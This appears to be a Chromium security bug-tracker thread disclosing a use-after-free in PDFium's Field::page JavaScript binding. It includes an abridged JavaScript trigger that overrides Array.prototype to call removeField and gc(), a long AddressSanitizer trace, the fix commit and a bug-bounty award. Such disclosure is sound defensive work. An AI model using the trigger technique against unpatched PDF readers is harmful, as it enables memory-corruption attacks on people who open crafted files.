Issue metadata
Sign in to add a comment
|
Security: Use after free in PDFium's Field::page
Reported by
de...@eng.ucsd.edu,
Jan 10 2017
|
||||||||||||||||||||||
Issue descriptionVULNERABILITY DETAILS Use after free in PDFium VERSION Chromium 56.0.2915.0 (Developer Build) (64-bit) Revision 9c88c589fdf91ce439627b8eb897cce07552f36c-refs/heads/master@{#431175} JavaScript V8 5.6.267 Operating System OSX 10.12.1 PDFium with XFA enabled REPRODUCTION CASE We have attached the PDF that triggers this bug in addition to the source for that PDF. We create the attached PDF by compiling the source with PDFLatex and then adding an XFA element to the resulting PDF (with a custom program that uses the iText library), which makes it an XFA PDF. The UAF takes place in PDFium's C++ bindings for its JavaScript API: (https://cs.chromium.org/chromium/src/third_party/pdfium/fpdfsdk/javascript/Field.cpp?q=fpdfsdk/javascript/Field&sq=package:chromium&l=1828) bool Field::page(IJS_Context* cc, CJS_PropValue& vp, CFX_WideString& sError) { ... CJS_Runtime* pRuntime = CJS_Runtime::FromContext(cc); // Create a new CJS_Array. This array is backed by V8 Array, and its SetElement and GetElement // methods call V8's Set and Get, respectively. // By defining the "set" function on Array.Prototype in JavaScript, we can cause our "set" to // be called any time that "SetElement" is called on the C++ CJS_Array PageArray. CJS_Array PageArray; for (size_t i = 0; i < widgets.size(); ++i) { CPDFSDK_PageView* pPageView = widgets[i]->GetPageView(); if (!pPageView) return false; // Now, this function calls our "set" function, which removes the // widgets object at index i+1 (and after). On the next iteration of the loop, // "widgets[i+1]->GetPageView" is a UAF, since widgets[i+1] has actually been GCed. PageArray.SetElement(pRuntime, i, CJS_Value(pRuntime, (int32_t)pPageView->GetPageIndex())); } vp << PageArray; return true; } To hit this C++ code, we embed the following JavaScript in an XFA pdf: function run() { ... Object.defineProperty(Array.prototype, 1, { ... set: (v) => { // remove the widget at the next index, which is "myRadio" in this case this.removeField("myRadio"); gc(); return false; } } }
,
Jan 10 2017
Is the main.pdf a complete example in and of itself? Or does it need to be combined somehow with your main.itx? If it is the later, can we get a single file that reproduces the issue? Also, what are the flags you are using? There's got to be an expose-gc set somewhere for the gc() call to have effect?
,
Jan 10 2017
Ah, nevermind, you've provided your own gc() implementation, which co-incidentally is the name of function v8 exposes for us given the flag.
,
Jan 10 2017
,
Jan 10 2017
ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://cluster-fuzz.appspot.com/testcase?key=6353787523694592
,
Jan 10 2017
Yeah, the main.pdf is a complete example. (I didn't include the iText source that makes the doc XFA since it was like 3 lines, but happy to do so if it would be helpful.) The code should work with gc as defined, but before that I used the built-in definition with the --js-flags="--expose-gc" --enable-memory-info flags.
,
Jan 10 2017
Yes, I'm working on putting together a non-xfa example, since I didn't see anything XFA-specific, and its easy enough to get into JS without XFA.
,
Jan 10 2017
Ah, I should have clarified: the reason for XFA is to force the removal of the annotation via: https://cs.chromium.org/chromium/src/third_party/pdfium/fpdfsdk/javascript/Document.cpp?q=removefield&sq=package:chromium&dr=CSs&l=531 Compiling with XFA alone with result in DeleteAnnot getting called, but we additionally need to get the doctype to be static/dynamic XFA here: https://cs.chromium.org/chromium/src/third_party/pdfium/fpdfsdk/cpdfsdk_pageview.cpp?q=DeleteAnnot&sq=package:chromium&dr=CSs&l=194
,
Jan 10 2017
Ok, finally have a repro. Not present in any chrome version, hence sev-none, but an XFA blocker.
==10127==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000020c0 at pc 0x0000023c978a bp 0x7ffddcfb1f50 sp 0x7ffddcfb1f48
READ of size 8 at 0x6080000020c0 thread T0
#0 0x23c9789 in GetPageView fpdfsdk/cpdfsdk_annot.h:55:50
#1 0x23c9789 in Field::page(IJS_Context*, CJS_PropValue&, CFX_WideString&) fpdfsdk/javascript/Field.cpp:1828
#2 0x23e2bcd in void JSPropGetter<Field, &Field::page>(char const*, char const*, v8::Local<v8::String>, v8::PropertyCallbackInfo<v8::Value> const&) fpdfsdk/javascript/JS_Define.h:88:8
#3 0x126a5f7 in v8::internal::PropertyCallbackArguments::Call(void (*)(v8::Local<v8::Name>, v8::PropertyCallbackInfo<v8::Value> const&), v8::internal::Handle<v8::internal::Name>) v8/src/api-arguments-inl.h:32:1
#4 0x1416d95 in v8::internal::Object::GetPropertyWithAccessor(v8::internal::LookupIterator*) v8/src/objects.cc:1353:34
#5 0x141488a in v8::internal::Object::GetProperty(v8::internal::LookupIterator*) v8/src/objects.cc:999:16
#6 0x122987c in v8::internal::LoadIC::Load(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Name>) v8/src/ic/ic.cc:644:5
#7 0x124887d in __RT_impl_Runtime_LoadIC_Miss v8/src/ic/ic.cc:2623:5
#8 0x124887d in v8::internal::Runtime_LoadIC_Miss(int, v8::internal::Object**, v8::internal::Isolate*) v8/src/ic/ic.cc:2606
#9 0x7f022c1043a6 (<unknown module>)
#10 0x7f022c1847ec (<unknown module>)
#11 0x7f022c172c37 (<unknown module>)
#12 0x7f022c205dc0 (<unknown module>)
#13 0x7f022c172302 (<unknown module>)
#14 0x7f022c136e20 (<unknown module>)
#15 0xff7a3b in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, bool, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*, v8::internal::Handle<v8::internal::Object>) v8/src/execution.cc:139:13
#16 0xff7262 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) v8/src/execution.cc:176:10
#17 0x527c71 in v8::Script::Run(v8::Local<v8::Context>) v8/src/api.cc:1946:7
#18 0x243c2cc in CFXJS_Engine::Execute(CFX_WideString const&, FXJSErr*) fxjs/fxjs_v8.cpp:469:25
#19 0x23665dc in CJS_Runtime::ExecuteScript(CFX_WideString const&, CFX_WideString*) fpdfsdk/javascript/cjs_runtime.cpp:206:14
#20 0x2436e54 in CJS_Context::RunScript(CFX_WideString const&, CFX_WideString*) fpdfsdk/javascript/cjs_context.cpp:48:24
#21 0x1e6a14a in RunDocumentOpenJavaScript fpdfsdk/fsdk_actionhandler.cpp:537:25
#22 0x1e6a14a in CPDFSDK_ActionHandler::ExecuteDocumentOpenAction(CPDF_Action const&, CPDFSDK_FormFillEnvironment*, std::__1::set<CPDF_Dictionary*, std::__1::less<CPDF_Dictionary*>, std::__1::allocator<CPDF_Dictionary*> >*) fpdfsdk/fsdk_actionhandler.cpp:128
#23 0x1e69d17 in CPDFSDK_ActionHandler::DoAction_DocOpen(CPDF_Action const&, CPDFSDK_FormFillEnvironment*) fpdfsdk/fsdk_actionhandler.cpp:25:10
#24 0x1e73227 in CPDFSDK_FormFillEnvironment::ProcOpenAction() fpdfsdk/cpdfsdk_formfillenvironment.cpp:643:26
#25 0x1e65d33 in FORM_DoDocumentOpenAction fpdfsdk/fpdfformfill.cpp:695:19
#26 0x4fa46a in RenderPdf(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, char const*, unsigned long, Options const&, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&) samples/pdfium_test.cc:841:3
#27 0x4fb6a2 in main samples/pdfium_test.cc:998:5
#28 0x7f0254722f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
0x6080000020c0 is located 32 bytes inside of 96-byte region [0x6080000020a0,0x608000002100)
freed by thread T0 here:
#0 0x4ef30b in operator delete(void*) (/usr/local/google/tsepez/master/pdfium/out/Asan/pdfium_test+0x4ef30b)
#1 0x1e7dacb in CPDFSDK_PageView::DeleteAnnot(CPDFSDK_Annot*) fpdfsdk/cpdfsdk_pageview.cpp:202:20
#2 0x2391e6f in Document::removeField(IJS_Context*, std::__1::vector<CJS_Value, std::__1::allocator<CJS_Value> > const&, CJS_Value&, CFX_WideString&) fpdfsdk/javascript/Document.cpp:531:18
#3 0x23b5fa0 in void JSMethod<Document, &Document::removeField>(char const*, char const*, v8::FunctionCallbackInfo<v8::Value> const&) fpdfsdk/javascript/JS_Define.h:153:8
#4 0x510fce in v8::internal::FunctionCallbackArguments::Call(void (*)(v8::FunctionCallbackInfo<v8::Value> const&)) v8/src/api-arguments.cc:19:3
#5 0x65d9c6 in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>, v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) v8/src/builtins/builtins-api.cc:106:36
#6 0x65af8e in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) v8/src/builtins/builtins-api.cc:135:5
#7 0x7f022c1043a6 (<unknown module>)
#8 0x7f022c205f79 (<unknown module>)
#9 0x7f022c172302 (<unknown module>)
#10 0x7f022c136e20 (<unknown module>)
#11 0xff7a3b in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, bool, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*, v8::internal::Handle<v8::internal::Object>) v8/src/execution.cc:139:13
#12 0xff7262 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) v8/src/execution.cc:176:10
#13 0x141ebce in SetPropertyWithDefinedSetter v8/src/objects.cc:1519:3
#14 0x141ebce in v8::internal::Object::SetPropertyWithAccessor(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::Object::ShouldThrow) v8/src/objects.cc:1479
#15 0x14575b8 in v8::internal::Object::SetPropertyInternal(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::LanguageMode, v8::internal::Object::StoreFromKeyed, bool*) v8/src/objects.cc:4718:16
#16 0x14566a0 in v8::internal::Object::SetProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::LanguageMode, v8::internal::Object::StoreFromKeyed) v8/src/objects.cc:4750:9
#17 0x53539d in SetElement v8/src/objects-inl.h:1131:3
#18 0x53539d in v8::Object::Set(v8::Local<v8::Context>, unsigned int, v8::Local<v8::Value>) v8/src/api.cc:3981
#19 0x243de70 in CFXJS_Engine::PutArrayElement(v8::Local<v8::Array>, unsigned int, v8::Local<v8::Value>) fxjs/fxjs_v8.cpp:682:15
#20 0x23c9509 in Field::page(IJS_Context*, CJS_PropValue&, CFX_WideString&) fpdfsdk/javascript/Field.cpp:1832:15
#21 0x23e2bcd in void JSPropGetter<Field, &Field::page>(char const*, char const*, v8::Local<v8::String>, v8::PropertyCallbackInfo<v8::Value> const&) fpdfsdk/javascript/JS_Define.h:88:8
#22 0x126a5f7 in v8::internal::PropertyCallbackArguments::Call(void (*)(v8::Local<v8::Name>, v8::PropertyCallbackInfo<v8::Value> const&), v8::internal::Handle<v8::internal::Name>) v8/src/api-arguments-inl.h:32:1
#23 0x1416d95 in v8::internal::Object::GetPropertyWithAccessor(v8::internal::LookupIterator*) v8/src/objects.cc:1353:34
#24 0x141488a in v8::internal::Object::GetProperty(v8::internal::LookupIterator*) v8/src/objects.cc:999:16
#25 0x122987c in v8::internal::LoadIC::Load(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Name>) v8/src/ic/ic.cc:644:5
#26 0x124887d in __RT_impl_Runtime_LoadIC_Miss v8/src/ic/ic.cc:2623:5
#27 0x124887d in v8::internal::Runtime_LoadIC_Miss(int, v8::internal::Object**, v8::internal::Isolate*) v8/src/ic/ic.cc:2606
#28 0x7f022c1043a6 (<unknown module>)
#29 0x7f022c1847ec (<unknown module>)
#30 0x7f022c172c37 (<unknown module>)
#31 0x7f022c205dc0 (<unknown module>)
#32 0x7f022c172302 (<unknown module>)
previously allocated by thread T0 here:
#0 0x4ee6cb in operator new(unsigned long) (/usr/local/google/tsepez/master/pdfium/out/Asan/pdfium_test+0x4ee6cb)
#1 0x1eaca5f in CPDFSDK_WidgetHandler::NewAnnot(CPDF_Annot*, CPDFSDK_PageView*) fpdfsdk/cpdfsdk_widgethandler.cpp:63:29
#2 0x1e80029 in CPDFSDK_PageView::LoadFXAnnots() fpdfsdk/cpdfsdk_pageview.cpp:436:47
#3 0x1e723fc in CPDFSDK_FormFillEnvironment::GetPageView(CPDFXFA_Page*, bool) fpdfsdk/cpdfsdk_formfillenvironment.cpp:586:14
#4 0x1e65be7 in FormHandleToPageView fpdfsdk/fpdfformfill.cpp:58:39
#5 0x1e65be7 in FORM_OnAfterLoadPage fpdfsdk/fpdfformfill.cpp:658
#6 0x4f7935 in GetPageForIndex(_FPDF_FORMFILLINFO*, void*, int) samples/pdfium_test.cc:623:3
#7 0x1e72a7a in GetPage fpdfsdk/cpdfsdk_formfillenvironment.cpp:307:12
#8 0x1e72a7a in CPDFSDK_FormFillEnvironment::GetPageView(int) fpdfsdk/cpdfsdk_formfillenvironment.cpp:598
#9 0x1e74b6c in CPDFSDK_InterForm::GetWidget(CPDF_FormControl*) const fpdfsdk/cpdfsdk_interform.cpp:109:31
#10 0x1e7507a in CPDFSDK_InterForm::GetWidgets(CPDF_FormField*, std::__1::vector<CPDFSDK_Widget*, std::__1::allocator<CPDFSDK_Widget*> >*) const fpdfsdk/cpdfsdk_interform.cpp:134:31
#11 0x23c9399 in Field::page(IJS_Context*, CJS_PropValue&, CFX_WideString&) fpdfsdk/javascript/Field.cpp:1818:35
#12 0x23e2bcd in void JSPropGetter<Field, &Field::page>(char const*, char const*, v8::Local<v8::String>, v8::PropertyCallbackInfo<v8::Value> const&) fpdfsdk/javascript/JS_Define.h:88:8
#13 0x126a5f7 in v8::internal::PropertyCallbackArguments::Call(void (*)(v8::Local<v8::Name>, v8::PropertyCallbackInfo<v8::Value> const&), v8::internal::Handle<v8::internal::Name>) v8/src/api-arguments-inl.h:32:1
#14 0x1416d95 in v8::internal::Object::GetPropertyWithAccessor(v8::internal::LookupIterator*) v8/src/objects.cc:1353:34
#15 0x141488a in v8::internal::Object::GetProperty(v8::internal::LookupIterator*) v8/src/objects.cc:999:16
#16 0x122987c in v8::internal::LoadIC::Load(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Name>) v8/src/ic/ic.cc:644:5
#17 0x124887d in __RT_impl_Runtime_LoadIC_Miss v8/src/ic/ic.cc:2623:5
#18 0x124887d in v8::internal::Runtime_LoadIC_Miss(int, v8::internal::Object**, v8::internal::Isolate*) v8/src/ic/ic.cc:2606
#19 0x7f022c1043a6 (<unknown module>)
#20 0x7f022c1847ec (<unknown module>)
#21 0x7f022c172c37 (<unknown module>)
#22 0x7f022c205dc0 (<unknown module>)
#23 0x7f022c172302 (<unknown module>)
#24 0x7f022c136e20 (<unknown module>)
#25 0xff7a3b in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, bool, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*, v8::internal::Handle<v8::internal::Object>) v8/src/execution.cc:139:13
#26 0xff7262 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) v8/src/execution.cc:176:10
#27 0x527c71 in v8::Script::Run(v8::Local<v8::Context>) v8/src/api.cc:1946:7
#28 0x243c2cc in CFXJS_Engine::Execute(CFX_WideString const&, FXJSErr*) fxjs/fxjs_v8.cpp:469:25
#29 0x23665dc in CJS_Runtime::ExecuteScript(CFX_WideString const&, CFX_WideString*) fpdfsdk/javascript/cjs_runtime.cpp:206:14
#30 0x2436e54 in CJS_Context::RunScript(CFX_WideString const&, CFX_WideString*) fpdfsdk/javascript/cjs_context.cpp:48:24
#31 0x1e6a14a in RunDocumentOpenJavaScript fpdfsdk/fsdk_actionhandler.cpp:537:25
#32 0x1e6a14a in CPDFSDK_ActionHandler::ExecuteDocumentOpenAction(CPDF_Action const&, CPDFSDK_FormFillEnvironment*, std::__1::set<CPDF_Dictionary*, std::__1::less<CPDF_Dictionary*>, std::__1::allocator<CPDF_Dictionary*> >*) fpdfsdk/fsdk_actionhandler.cpp:128
#33 0x1e69d17 in CPDFSDK_ActionHandler::DoAction_DocOpen(CPDF_Action const&, CPDFSDK_FormFillEnvironment*) fpdfsdk/fsdk_actionha
,
Jan 11 2017
,
Jan 11 2017
VRP: athough this instance was not in chromium's production code, it highlighted a few other places where this might have been possible.
,
Jan 11 2017
Great! I should have mentioned this in the original submission; this is joint work with Fraser Brown from Stanford.
,
Jan 11 2017
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/631e11cb3b19a9641d1b9cb1d75c7cd065c76ee7 commit 631e11cb3b19a9641d1b9cb1d75c7cd065c76ee7 Author: pdfium-deps-roller <pdfium-deps-roller@chromium.org> Date: Wed Jan 11 18:51:51 2017 Roll src/third_party/pdfium/ 76a44dea3..8fa82794f (1 commit). https://pdfium.googlesource.com/pdfium.git/+log/76a44dea3180..8fa82794ffc2 $ git log 76a44dea3..8fa82794f --date=short --no-merges --format='%ad %ae %s' 2017-01-11 tsepez Annotation deleted while retrieving it in JS BUG= 679642 Documentation for the AutoRoller is here: https://skia.googlesource.com/buildbot/+/master/autoroll/README.md If the roll is causing failures, see: http://www.chromium.org/developers/tree-sheriffs/sheriff-details-chromium#TOC-Failures-due-to-DEPS-rolls TBR=dsinclair@chromium.org Review-Url: https://codereview.chromium.org/2623263002 Cr-Commit-Position: refs/heads/master@{#442968} [modify] https://crrev.com/631e11cb3b19a9641d1b9cb1d75c7cd065c76ee7/DEPS
,
Jan 12 2017
,
Mar 13 2017
,
Mar 13 2017
Nice one! The VRP panel has decided to award $3,000 for this bug. A member of our finance team will be in touch shortly. *** Boilerplate reminders! *** Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an established charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing. *********************************
,
Mar 15 2017
,
Apr 20 2017
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||
Comment 1 by tsepez@chromium.org
, Jan 10 2017Owner: dsinclair@chromium.org
Status: Available (was: Unconfirmed)